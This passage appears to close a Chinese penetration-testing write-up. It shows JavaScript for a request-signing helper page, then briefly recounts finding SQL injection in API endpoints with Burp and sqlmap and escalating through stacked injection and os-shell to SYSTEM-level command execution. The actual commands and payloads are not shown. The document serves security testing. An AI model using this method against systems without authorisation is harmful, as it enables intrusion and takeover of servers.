let result = '';
for (let i = 0; i < 16; i++) {
result += chars.charAt(Math.floor(Math.random() * chars.length));
}
document.getElementById('custom_nonce').value = result;
});

// 使用当前时间戳
document.getElementById('currentTimestamp').addEventListener('click', function() {
const currentTimestamp = Math.floor(Date.now() / 1000);
document.getElementById('custom_timestamp').value = currentTimestamp;
});

// 重置生成签名表单
document.getElementById('resetForm').addEventListener('click', function() {
document.getElementById('signatureForm').reset();
const container = document.getElementById('paramContainer');
while (container.children.length > 1) {
container.removeChild(container.lastChild);
}
paramCount = 1;
updateRemoveButtons();

document.getElementById('resultSection').style.display = 'none';
document.getElementById('detailSection').style.display = 'none';
});

// 复制到剪贴板函数
function copyToClipboard(text, button) {
navigator.clipboard.writeText(text).then(function() {
// 显示复制成功提示
const originalText = button.textContent;
button.textContent = '已复制!';
button.classList.remove('btn-outline-primary', 'btn-outline-success', 'btn-outline-info');
button.classList.add('btn-success');

setTimeout(() => {
button.textContent = originalText;
button.classList.remove('btn-success');
if (originalText.includes('全部参数')) {
button.classList.add('btn-outline-primary');
} else if (originalText.includes('签名字符串')) {
button.classList.add('btn-outline-success');
} else {
button.classList.add('btn-outline-info');
}
}, 2000);
}, function(err) {
console.error('复制失败: ', err);
showAlert('复制失败,请手动复制', 'warning');
});
}
</script>
</body>
</html>

启动:



测试发送数据:

至此可以实现自定义url接口,并且自定义请求头(输入必要的参数例如token等),自定义表单的参数和参数值

某接口存在SQL注入
对Flask页面进行抓包到burp:

对存在注入的参数打上*号标记注入点后保存成文件
Sqlmap:

此接口只有报错和联合注入,并没有堆叠
在测试其他接口的时候发现一处没有报错回显,但可以闭合的地方:



依旧打上*号保存成文件
使用sqlmap:

此处存在堆叠注入
尝试进行os-shell:

最终成功执行whoami命令获取系统system权限